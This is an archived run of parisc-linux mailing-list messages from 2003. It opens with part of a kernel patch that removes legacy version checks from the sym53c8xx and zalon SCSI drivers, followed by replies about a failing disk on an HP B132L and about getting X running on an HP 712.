 */
 
-#if LINUX_VERSION_CODE >= LinuxVersionCode(2,3,47)
 #define SCSI_NCR_DYNAMIC_DMA_MAPPING
-#endif
 
 /*==========================================================
 **
@@ -262,8 +260,6 @@ static inline struct xpt_quehead *xpt_re
 **==========================================================
 */
 
-#if LINUX_VERSION_CODE >= LinuxVersionCode(2,2,0)
-
 typedef struct pci_dev *pcidev_t;
 typedef struct device *device_t;
 #define PCIDEV_NULL		(0)
@@ -276,17 +272,7 @@ typedef struct device *device_t;
 static u_long __init
 pci_get_base_cookie(struct pci_dev *pdev, int index)
 {
-	u_long base;
-
-#if LINUX_VERSION_CODE > LinuxVersionCode(2,3,12)
-	base = pdev->resource[index].start;
-#else
-	base = pdev->base_address[index];
-#if BITS_PER_LONG > 32
-	if ((base & 0x7) == 0x4)
-		*base |= (((u_long)pdev->base_address[++index]) << 32);
-#endif
-#endif
+	u_long base = pdev->resource[index].start;
 	return (base & ~0x7ul);
 }
 
@@ -310,102 +296,6 @@ pci_get_base_address(struct pci_dev *pde
 #undef PCI_BAR_OFFSET
 }
 
-#else	/* Incomplete emulation of current PCI code for pre-2.2 kernels */
-
-typedef unsigned int pcidev_t;
-typedef unsinged int device_t;
-#define PCIDEV_NULL		(~0u)
-#define PciBusNumber(d)		((d)>>8)
-#define PciDeviceFn(d)		((d)&0xff)
-#define __PciDev(busn, devfn)	(((busn)<<8)+(devfn))
-
-#define pci_read_config_byte(d, w, v) \
-	pcibios_read_config_byte(PciBusNumber(d), PciDeviceFn(d), w, v)
-#define pci_read_config_word(d, w, v) \
-	pcibios_read_config_word(PciBusNumber(d), PciDeviceFn(d), w, v)
-#define pci_read_config_dword(d, w, v) \
-	pcibios_read_config_dword(PciBusNumber(d), PciDeviceFn(d), w, v)
-
-#define pci_write_config_byte(d, w, v) \
-	pcibios_write_config_byte(PciBusNumber(d), PciDeviceFn(d), w, v)
-#define pci_write_config_word(d, w, v) \
-	pcibios_write_config_word(PciBusNumber(d), PciDeviceFn(d), w, v)
-#define pci_write_config_dword(d, w, v) \
-	pcibios_write_config_dword(PciBusNumber(d), PciDeviceFn(d), w, v)
-
-static pcidev_t __init
-pci_find_device(unsigned int vendor, unsigned int device, pcidev_t prev)
-{
-	static unsigned short pci_index;
-	int retv;
-	unsigned char bus_number, device_fn;
-
-	if (prev == PCIDEV_NULL)
-		pci_index = 0;
-	else
-		++pci_index;
-	retv = pcibios_find_device (vendor, device, pci_index,
-				    &bus_number, &device_fn);
-	return retv ? PCIDEV_NULL : __PciDev(bus_number, device_fn);
-}
-
-static u_short __init PciVendorId(pcidev_t dev)
-{
-	u_short vendor_id;
-	pci_read_config_word(dev, PCI_VENDOR_ID, &vendor_id);
-	return vendor_id;
-}
-
-static u_short __init PciDeviceId(pcidev_t dev)
-{
-	u_short device_id;
-	pci_read_config_word(dev, PCI_DEVICE_ID, &device_id);
-	return device_id;
-}
-
-static u_int __init PciIrqLine(pcidev_t dev)
-{
-	u_char irq;
-	pci_read_config_byte(dev, PCI_INTERRUPT_LINE, &irq);
-	return irq;
-}
-
-static int __init 
-pci_get_base_address(pcidev_t dev, int offset, u_long *base)
-{
-	u_int32 tmp;
-	
-	pci_read_config_dword(dev, PCI_BASE_ADDRESS_0 + offset, &tmp);
-	*base = tmp;
-	offset += sizeof(u_int32);
-	if ((tmp & 0x7) == 0x4) {
-#if BITS_PER_LONG > 32
-		pci_read_config_dword(dev, PCI_BASE_ADDRESS_0 + offset, &tmp);
-		*base |= (((u_long)tmp) << 32);
-#endif
-		offset += sizeof(u_int32);
-	}
-	return offset;
-}
-static u_long __init
-pci_get_base_cookie(struct pci_dev *pdev, int offset)
-{
-	u_long base;
-
-	(void) pci_get_base_address(dev, offset, &base);
-
-	return base;
-}
-
-#endif	/* LINUX_VERSION_CODE >= LinuxVersionCode(2,2,0) */
-
-/* Does not make sense in earlier kernels */
-#if LINUX_VERSION_CODE < LinuxVersionCode(2,4,0)
-#define pci_enable_device(pdev)		(0)
-#endif
-#if LINUX_VERSION_CODE < LinuxVersionCode(2,4,4)
-#define	scsi_set_pci_device(inst, pdev)	(0)
-#endif
 
 /*==========================================================
 **
@@ -428,7 +318,6 @@ pci_get_base_cookie(struct pci_dev *pdev
 **==========================================================
 */
 
-#if LINUX_VERSION_CODE >= LinuxVersionCode(2,1,93)
 spinlock_t DRIVER_SMP_LOCK = SPIN_LOCK_UNLOCKED;
 #define	NCR_LOCK_DRIVER(flags)     spin_lock_irqsave(&DRIVER_SMP_LOCK, flags)
 #define	NCR_UNLOCK_DRIVER(flags)   \
@@ -443,20 +332,6 @@ spinlock_t DRIVER_SMP_LOCK = SPIN_LOCK_U
 #define	NCR_UNLOCK_SCSI_DONE(host, flags) \
 		spin_unlock_irqrestore(((host)->host_lock), flags)
 
-#else
-
-#define	NCR_LOCK_DRIVER(flags)     do { save_flags(flags); cli(); } while (0)
-#define	NCR_UNLOCK_DRIVER(flags)   do { restore_flags(flags); } while (0)
-
-#define	NCR_INIT_LOCK_NCB(np)      do { } while (0)
-#define	NCR_LOCK_NCB(np, flags)    do { save_flags(flags); cli(); } while (0)
-#define	NCR_UNLOCK_NCB(np, flags)  do { restore_flags(flags); } while (0)
-
-#define	NCR_LOCK_SCSI_DONE(host, flags)    do {;} while (0)
-#define	NCR_UNLOCK_SCSI_DONE(host, flags)  do {;} while (0)
-
-#endif
-
 /*==========================================================
 **
 **	Memory mapped IO
@@ -472,37 +347,11 @@ spinlock_t DRIVER_SMP_LOCK = SPIN_LOCK_U
 **==========================================================
 */
 
-#if LINUX_VERSION_CODE < LinuxVersionCode(2,1,0)
-#define ioremap vremap
-#define iounmap vfree
-#endif
-
 #ifdef __sparc__
-#  include <asm/irq.h>
-#  define memcpy_to_pci(a, b, c)	memcpy_toio((a), (b), (c))
-#elif defined(__alpha__)
-#  define memcpy_to_pci(a, b, c)	memcpy_toio((a), (b), (c))
-#else	/* others */
-#  define memcpy_to_pci(a, b, c)	memcpy_toio((a), (b), (c))
+#include <asm/irq.h>
 #endif
 
-#ifndef SCSI_NCR_PCI_MEM_NOT_SUPPORTED
-static u_long __init remap_pci_mem(u_long base, u_long size)
-{
-	u_long page_base	= ((u_long) base) & PAGE_MASK;
-	u_long page_offs	= ((u_long) base) - page_base;
-	u_long page_remapped	= (u_long) ioremap(page_base, page_offs+size);
-
-	return page_remapped? (page_remapped + page_offs) : 0UL;
-}
-
-static void __init unmap_pci_mem(u_long vaddr, u_long size)
-{
-	if (vaddr)
-		iounmap((void *) (vaddr & PAGE_MASK));
-}
-
-#endif /* not def SCSI_NCR_PCI_MEM_NOT_SUPPORTED */
+#define memcpy_to_pci(a, b, c)	memcpy_toio((a), (b), (c))
 
 /*==========================================================
 **
@@ -518,13 +367,8 @@ static void __init unmap_pci_mem(u_long 
 **==========================================================
 */
 
-#if LINUX_VERSION_CODE >= LinuxVersionCode(2,1,105)
 #define UDELAY udelay
 #define MDELAY mdelay
-#else
-static void UDELAY(long us) { udelay(us); }
-static void MDELAY(long ms) { while (ms--) UDELAY(1000); }
-#endif
 
 /*==========================================================
 **
@@ -544,11 +388,7 @@ static void MDELAY(long ms) { while (ms-
 **==========================================================
 */
 
-#if LINUX_VERSION_CODE >= LinuxVersionCode(2,1,0)
 #define __GetFreePages(flags, order) __get_free_pages(flags, order)
-#else
-#define __GetFreePages(flags, order) __get_free_pages(flags, order, 0)
-#endif
 
 #define MEMO_SHIFT	4	/* 16 bytes minimum memory chunk */
 #if PAGE_SIZE >= 8192
@@ -2253,39 +2093,11 @@ sym53c8xx_pci_init(Scsi_Host_Template *t
 		command |= (PCI_COMMAND_IO | PCI_COMMAND_MEMORY);
 		pci_write_config_word(pdev, PCI_COMMAND, command);
 	}
-
-#if LINUX_VERSION_CODE < LinuxVersionCode(2,2,0)
-	if ( is_prep ) {
-		if (io_port >= 0x10000000) {
-			printk(NAME53C8XX ": reallocating io_port (Wacky IBM)");
-			io_port = (io_port & 0x00FFFFFF) | 0x01000000;
-			pci_write_config_dword(pdev,
-					       PCI_BASE_ADDRESS_0, io_port);
-		}
-		if (base >= 0x10000000) {
-			printk(NAME53C8XX ": reallocating base (Wacky IBM)");
-			base = (base & 0x00FFFFFF) | 0x01000000;
-			pci_write_config_dword(pdev,
-					       PCI_BASE_ADDRESS_1, base);
-		}
-		if (base_2 >= 0x10000000) {
-			printk(NAME53C8XX ": reallocating base2 (Wacky IBM)");
-			base_2 = (base_2 & 0x00FFFFFF) | 0x01000000;
-			pci_write_config_dword(pdev,
-					       PCI_BASE_ADDRESS_2, base_2);
-		}
-	}
-#endif
 #endif	/* __powerpc__ */
 
 #if defined(__i386__) && !defined(MODULE)
 	if (!cache_line_size) {
-#if LINUX_VERSION_CODE < LinuxVersionCode(2,1,75)
-		extern char x86;
-		switch(x86) {
-#else
 		switch(boot_cpu_data.x86) {
-#endif
 		case 4:	suggested_cache_line_size = 4; break;
 		case 6:
 		case 5:	suggested_cache_line_size = 8; break;
Index: drivers/scsi/sym53c8xx_defs.h
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/sym53c8xx_defs.h,v
retrieving revision 1.2
diff -u -p -r1.2 sym53c8xx_defs.h
--- drivers/scsi/sym53c8xx_defs.h	25 Aug 2003 19:49:06 -0000	1.2
+++ drivers/scsi/sym53c8xx_defs.h	11 Sep 2003 14:45:54 -0000
@@ -68,13 +68,8 @@
 **	Check supported Linux versions
 */
 
-#if !defined(LINUX_VERSION_CODE)
-#include <linux/version.h>
-#endif
 #include <linux/config.h>
 
-#define LinuxVersionCode(v, p, s) (((v)<<16)+((p)<<8)+(s))
-
 /*
  * NCR PQS/PDS special device support.
  */
@@ -183,11 +178,6 @@
 #define	SCSI_NCR_IOMAPPED
 #elif defined(__alpha__)
 #define	SCSI_NCR_IOMAPPED
-#elif defined(__powerpc__)
-#if LINUX_VERSION_CODE <= LinuxVersionCode(2,4,3)
-#define	SCSI_NCR_IOMAPPED
-#define SCSI_NCR_PCI_MEM_NOT_SUPPORTED
-#endif
 #endif
 
 /*
@@ -363,10 +353,6 @@
 
 #ifdef	__BIG_ENDIAN
 
-#if	LINUX_VERSION_CODE < LinuxVersionCode(2,1,0)
-#error	"BIG ENDIAN byte ordering needs kernel version >= 2.1.0"
-#endif
-
 #define	inw_l2b		inw
 #define	inl_l2b		inl
 #define	outw_b2l	outw
@@ -437,18 +423,9 @@
  *  Other architectures implement a weaker ordering that 
  *  requires memory barriers (and also IO barriers when they 
  *  make sense) to be used.
- *  We want to be paranoid for ppc and ia64. :)
  */
 
-#if	defined(__i386__) || defined(__x86_64__)
-#define MEMORY_BARRIER()	do { ; } while(0)
-#elif	defined	__powerpc__
-#define MEMORY_BARRIER()	__asm__ volatile("eieio; sync" : : : "memory")
-#elif	defined	__ia64__
-#define MEMORY_BARRIER()	__asm__ volatile("mf.a; mf" : : : "memory")
-#else
 #define MEMORY_BARRIER()	mb()
-#endif
 
 
 /*
Index: drivers/scsi/zalon.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/zalon.c,v
retrieving revision 1.3
diff -u -p -r1.3 zalon.c
--- drivers/scsi/zalon.c	23 Aug 2003 02:47:01 -0000	1.3
+++ drivers/scsi/zalon.c	11 Sep 2003 17:46:12 -0000
@@ -13,6 +13,8 @@
 #include <linux/config.h>
 #include <linux/module.h>
 
+#include <scsi/scsicam.h>
+
 #include <asm/page.h>
 #include <asm/pgtable.h>
 #include <asm/irq.h>
@@ -26,11 +28,27 @@
 
 #include "ncr53c8xx.h"
 
-#include "zalon.h"
-
 MODULE_AUTHOR("Richard Hirst");
 MODULE_DESCRIPTION("Bluefish/Zalon 720 SCSI Driver");
 MODULE_LICENSE("GPL");
+
+#define GSC_SCSI_ZALON_OFFSET 0x800
+
+#define IO_MODULE_EIM		(1*4)
+#define IO_MODULE_DC_ADATA	(2*4)
+#define IO_MODULE_II_CDATA	(3*4)
+#define IO_MODULE_IO_COMMAND	(12*4)
+#define IO_MODULE_IO_STATUS	(13*4)
+
+#define IOSTATUS_RY             0x40
+#define IOSTATUS_FE             0x80
+#define IOIIDATA_SMINT5L        0x40000000
+#define IOIIDATA_MINT5EN        0x20000000
+#define IOIIDATA_PACKEN         0x10000000
+#define IOIIDATA_PREFETCHEN     0x08000000
+#define IOIIDATA_IOII           0x00000020
+
+#define CMD_RESET		5
 
 static ncr_chip zalon720_chip __initdata = {
 	.device_id =	PSEUDO_720_ID,
Index: drivers/scsi/zalon.h
===================================================================
RCS file: drivers/scsi/zalon.h
diff -N drivers/scsi/zalon.h
--- drivers/scsi/zalon.h	29 Jul 2003 17:01:30 -0000	1.1
+++ /dev/null	1 Jan 1970 00:00:00 -0000
@@ -1,25 +0,0 @@
-#ifndef ZALON7XX_H
-#define ZALON7XX_H
-
-#include <linux/types.h>
-#include <scsi/scsicam.h>
-
-#define GSC_SCSI_ZALON_OFFSET 0x800
-
-#define IO_MODULE_EIM		(1*4)
-#define IO_MODULE_DC_ADATA	(2*4)
-#define IO_MODULE_II_CDATA	(3*4)
-#define IO_MODULE_IO_COMMAND	(12*4)
-#define IO_MODULE_IO_STATUS	(13*4)
-
-#define IOSTATUS_RY             0x40
-#define IOSTATUS_FE             0x80
-#define IOIIDATA_SMINT5L        0x40000000
-#define IOIIDATA_MINT5EN        0x20000000
-#define IOIIDATA_PACKEN         0x10000000
-#define IOIIDATA_PREFETCHEN     0x08000000
-#define IOIIDATA_IOII           0x00000020
-
-#define CMD_RESET		5

From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP B132L hangs
Date: Thu, 11 Sep 2003 13:17:26 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20030911191726.GA7526__2246.40774908966$1416622768$gmane$org@dsl2.external.hp.com>
References: <3F5F24D9.7030800@epost.de> <1063208722.1984.10.camel@mulgrave> <3F5F71C8.7060605@epost.de> <20030910185834.GC21596@parcelfarce.linux.theplanet.co.uk> <3F608EDB.101@epost.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622768 30820 80.91.229.3 (22 Nov 2014 02:19:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:28 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: Sebastian Br?ckner <sebastian.brueckner@epost.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 11 13:17:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id EC6E34830; Thu, 11 Sep 2003 13:17:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F608EDB.101@epost.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19484

On Thu, Sep 11, 2003 at 05:03:55PM +0200, Sebastian Br?ckner wrote:
> I tried to backup the system and got the a similar error with very few 
> messages mixed into it. Maybe this is better readable:

yes, much better

> scsi0: ERROR on channel 0, id 2, lun 0, CDB: Request Sense 00 00 00 40 00
> Info fld=0x39a27b, Current sd08:04: sense key Medium Error
> Additional sense indicates Unrecovered read error

This is the disk telling the driver it had a real failure.

...
> scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
>          len = 6, cmd =Read (10) 00 00 39 a5 e8 00 00 a0 00

this output is the bug james mentioned was fixed in a later kernel.

grant


From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP B132L hangs
Date: Thu, 11 Sep 2003 20:56:36 +0000
Lines: 63
Approved: news@gmane.org
Message-ID: <3F60E184.5010603__38906.4846364365$1416622769$gmane$org@tiscali.be>
References: <3F5F24D9.7030800@epost.de> <3F5F2D4E.7040700@tiscali.be> <3F6095B6.7050706@epost.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622769 30823 80.91.229.3 (22 Nov 2014 02:19:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: =?ISO-8859-1?Q?Sebastian_Br=FCckner?= <sebastian.brueckner@epost.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 11 14:56:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 853D84830
	for <parisc-linux@parisc-linux.org>; Thu, 11 Sep 2003 14:56:36 -0600 (MDT)
Original-Received: from [62.235.120.100] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19xYUU-0002qM-00; Thu, 11 Sep 2003 22:56:34 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <3F6095B6.7050706@epost.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19485

Sebastian Brckner wrote:

> Joel Soete:
>
>> Yes it looks like a disk becoming defective. The best way to be sure 
>> is to use a hp cdrom containing Diagnostic tools (iirc the last hpux 
>> support + would contains it). This cd is bootable and contains tools 
>> allowing you test your disk.
>
>
> I don't have such a cd...
> I have only two HP cd sets:
> "HP-UX Applications/Patches 10.20" 5 CDs
> "Additional Core Enhancements HP-UX 10.20 Workstations" 1 CD 

I also get such set of cd's when I recieved the first b132 (it was also 
one of the first in belgium) and I think that tools would be on the 
patch cd but i don't remember exactly. I will check when I will be back 
to the office (in 10 days :( sorry)

>
>
> Do you know if one of them contains these tools?
>
>> If you have another system on which you can connect your suspected 
>> disk you can also try a dd cmd like:
>> dd if=/dev/rdsk/c0txd0 of=/dev/null bs=2048k (where you replace 
>> /dev/rdsk/c0txd0 by the actual disk path)
>
>
> See my other post for results of backup... it provoced the same (or at 
> least a similar) error :-/

Yes I read it also and as mentioned Grant "I/O error:..." message 
confirm my first opinion (and my experience with my b180 near the same 
b132L execepted cpu frequency) unfortunaltely your disk became faulty 
(the most frequent part replaced over 300 unix server I have to maintain)

>
> I do not currently have another system I could put the disk in (I got 
> a C200 but it is not in a working state right now). The disk does not 
> contain too important data - but it was a lot of work to set up the 
> router. 


So the best would be to try to backup the most of your /etc (where stand 
generaly config files), additonal config files that you remember, and 
may be also your /var/lib/dpkg (the debian pakages db: it could help to 
remember which packages where installed).  Then, if you can,  replace 
your disk, and re-install your system.

I also had to reinstall two systems like this this year: one because of 
a cpu failure (a b2k) and one also due a disk failure. (I would so have 
a look for tools as mkcdrecord or mondo [don't know which is the most 
simple to implement] but i do not yet find enough time to build any 
recovery cd. On the other hand i had the opportunity to install raid1 on 
my main systems (2 b180; a fw and a test one for cvs kernels and 
unstable debian install)).

Good luck,
    Joel



From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] zalon & ncr53c8xx cleanups
Date: Thu, 11 Sep 2003 21:05:30 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <3F60E39A.3040901__43844.7970235304$1416622769$gmane$org@tiscali.be>
References: <20030911181135.GN21596@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622769 30829 80.91.229.3 (22 Nov 2014 02:19:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, linux-scsi@vger.kernel.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 11 15:05:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A8204848
	for <parisc-linux@parisc-linux.org>; Thu, 11 Sep 2003 15:05:29 -0600 (MDT)
Original-Received: from [62.235.120.100] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19xYd5-0003HX-00; Thu, 11 Sep 2003 23:05:28 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <20030911181135.GN21596@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19486

Matthew Wilcox wrote:

>I don't actually have a zalon machine to test these on, but they seem
>right to me, and compile fine.
>
>Some cleanups for ncr53c8xx & zalon:
>
> - Inline zalon.h into zalon.c
> - Rationalise (a little) ncr53c8xx.c's includes
>
I will try to test this last next week on the c110 (which I recover from 
trash) on which I just install debian 3.0r0 cd1 (so still have to update 
to unstable before all)

hth,
    Joel




From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Looking for info on getting X running on my 712
Date: Thu, 11 Sep 2003 23:30:49 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20030912053049.GA20242@dsl2.external.hp.com>
References: <p05210600bb86d1a05e38@[192.168.1.3]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622769 30833 80.91.229.3 (22 Nov 2014 02:19:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomson Family <thomson@cableaz.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 11 23:30:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9116C4830; Thu, 11 Sep 2003 23:30:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <p05210600bb86d1a05e38@[192.168.1.3]>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19487

On Thu, Sep 11, 2003 at 06:36:46PM -0700, Thomson Family wrote:
> Hi Grant,
> 
> This isn't exactly a developer question, but if you could point me in 
> the right direction, I'd appreciate it.

parisc-linux@lists.parisc-linux.org is normally a good starting point.
I've cc'd the list in case someone else has better ideas.

> 
> I've loaded Debian's Woody on my 712 and everything seems to be 
> working fine, but I'm unable to get X up and running.  I can't seem 
> to find any info on doing so. Ultimately I get "Screen/ScreenInit 
> failed for driver 0" when I run startx. I've noticed that when things 
> work fine for other folks, there isn't much posted on the web.

The 712's have been working quite awhile and it's just further
back in the mail archives! ;^)

You might also look at ftp://ftp.parisc-linux.org/kernels/712/
and try out the XF86Config files there.

grant

> 
> thanks!
> Pat Thomson
> 


From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Looking for info on getting X running on my 712
Date: Fri, 12 Sep 2003 08:04:50 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <20030912060450.GL14376@lug-owl.de>
References: <p05210600bb86d1a05e38@[192.168.1.3]> <20030912053049.GA20242@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="hPgXaKTTpTvPowxx"
X-Trace: ger.gmane.org 1416622770 30835 80.91.229.3 (22 Nov 2014 02:19:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomson Family <thomson@cableaz.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 12 00:04:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD8E64830
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Sep 2003 00:04:51 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 80BDF4B3AE; Fri, 12 Sep 2003 08:04:50 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030912053049.GA20242@dsl2.external.hp.com>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
